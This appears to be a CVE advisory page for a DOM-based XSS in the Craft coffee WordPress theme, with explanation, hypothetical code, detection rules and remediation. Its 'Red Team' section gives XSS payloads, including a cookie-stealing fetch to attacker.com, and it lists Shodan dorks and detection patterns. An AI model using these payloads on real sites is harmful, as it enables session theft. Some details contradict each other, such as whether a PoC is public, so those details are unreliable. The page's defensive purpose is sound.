☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Themegoods logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-68538

CVE-2025-68538 Cross-Site Scripting in Themegoods
📅 PUBLISHED: 2026-01-22 16:52 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.02%
👁️
0.02% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
7.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-68538 is a DOM-Based Cross-Site Scripting (XSS) vulnerability affecting the Craft theme by ThemeGoods, specifically the craftcoffee variant, versions up to and including 2.3.6. This vulnerability allows an attacker to inject malicious scripts into a web page through improper neutralization of user input during page generation. The attack vector is network-based, requires user interaction, and can lead to partial compromise of confidentiality, integrity, and availability. As of this report, no official patch has been released, and no public proof-of-concept (PoC) or exploit code is available. The vulnerability is classified under CWE-79 and has a CVSS score of 7.1 (High).

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

WordPress Ecosystem Context

This vulnerability is specific to the WordPress ecosystem, affecting the Craft theme by ThemeGoods. It is not related to Apache or Nginx server software. The theme is used for coffee shop and cafe websites, making it a potential target for attackers seeking to deface or inject malicious content into such sites.

CVSS Breakdown & Threat Level

  • CVSS Score: 7.1 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
  • Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): Required (R) – The victim must click a crafted link or visit a malicious page.
  • Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure.
  • Integrity (I): Low (L) – Limited ability to modify content.
  • Availability (A): Low (L) – Limited service disruption.

Threat Level: High – Due to the low attack complexity and no privileges required, this vulnerability is attractive to attackers, especially in the context of WordPress sites where user interaction is common.

Deep Dive & Mechanics

The vulnerability is a DOM-Based XSS, meaning the attack payload is executed entirely on the client side within the Document Object Model (DOM) of the browser. The vulnerable code likely processes user-controlled input (e.g., URL parameters, fragment identifiers, or form data) and injects it into the DOM without proper sanitization.

Mechanism:

  1. An attacker crafts a malicious URL containing a JavaScript payload (e.g., #<script>alert('XSS')</script>).
  2. The victim clicks the link, which loads the vulnerable page.
  3. The page’s JavaScript reads the fragment identifier or other input and writes it directly into the DOM (e.g., via innerHTML or document.write).
  4. The browser executes the injected script, allowing the attacker to steal cookies, redirect the user, or perform other malicious actions.

Root Cause: The theme’s JavaScript code fails to sanitize or encode user input before inserting it into the DOM. This is a classic DOM-based XSS pattern.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common fixes.

Vulnerable Code (JavaScript):

// Vulnerable: Directly inserts user input into DOM
var userInput = window.location.hash.substring(1);
document.getElementById('output').innerHTML = userInput;

Patched Code (Hypothetical):

// Patched: Sanitizes input using textContent or DOMPurify
var userInput = window.location.hash.substring(1);
var sanitized = DOMPurify.sanitize(userInput);
document.getElementById('output').textContent = sanitized;

Key Difference: The patched version uses textContent (which treats input as text, not HTML) or a sanitization library like DOMPurify to prevent script execution.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • A WordPress site running Craft theme <= 2.3.6.
  • Ability to craft a malicious link.

Exploitation Steps:

  1. Identify a page that reflects user input from the URL fragment (e.g., #).
  2. Craft a payload: https://victim-site.com/#<img src=x onerror=alert('XSS')>
  3. Send the link to the victim via phishing email or social engineering.
  4. When the victim clicks the link, the script executes in their browser.

Example Payload:

https://victim-site.com/#<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Defense & Detection)

Detection Steps:

  1. Monitor web server logs for requests containing suspicious fragment identifiers (e.g., #<script>).
  2. Use browser-based XSS filters (e.g., X-XSS-Protection header, though deprecated).
  3. Implement Content Security Policy (CSP) to block inline scripts.

Lab Setup:

  • Use a local WordPress installation with the vulnerable theme.
  • Set up a simple HTTP server to capture exfiltrated data.
  • Test with benign payloads (e.g., #<b>test</b>) to confirm DOM injection.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • URLs containing #<script> or #<img in the fragment identifier.
    • Outbound connections to unknown domains from the victim’s browser.
  • Host IOCs:
    • Unexpected JavaScript execution in the browser console.
    • Modified DOM elements (e.g., injected <script> tags).
  • File IOCs:
    • Suspicious entries in browser history or cache related to the vulnerable theme.

Detection Engineering

YARA Rule

rule Detect_CVE_2025_68538_DOM_XSS {
    meta:
        description = "Detects potential DOM-based XSS payloads in web requests"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-68538"
    strings:
        $payload1 = /#<script[^>]*>/
        $payload2 = /#<img[^>]*onerror/
        $payload3 = /#<svg[^>]*onload/
    condition:
        any of them
}

Sigma Rule

title: Detection of DOM-Based XSS Payloads in URL Fragments
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects requests with suspicious fragment identifiers indicative of DOM-based XSS
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - '#<script'
            - '#<img'
            - '#<svg'
            - '#<iframe'
    condition: selection
falsepositives:
    - Legitimate use of HTML fragments in single-page applications
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-68538 DOM-Based XSS Payload Detected"; flow:to_server; content:"#<script"; nocase; http_uri; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2025-68538 DOM-Based XSS Payload Detected"; flow:to_server; content:"#<img"; nocase; http_uri; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the vulnerable theme if possible, and switch to a patched alternative.
  2. Implement a Web Application Firewall (WAF) rule to block requests with suspicious fragment identifiers.
  3. Add Content Security Policy (CSP) headers to restrict script execution:
    Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
    

Long-Term Fix:

  • Update the theme once a patch is released by ThemeGoods.
  • Sanitize all user input in JavaScript using textContent or a library like DOMPurify.
  • Conduct a security audit of the theme’s JavaScript code for similar vulnerabilities.

Workaround:

  • If the theme cannot be disabled, modify the JavaScript file to use textContent instead of innerHTML for any dynamic content insertion.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Craft Coffee"
http.html:"wp-content/themes/craftcoffee"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-68538/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.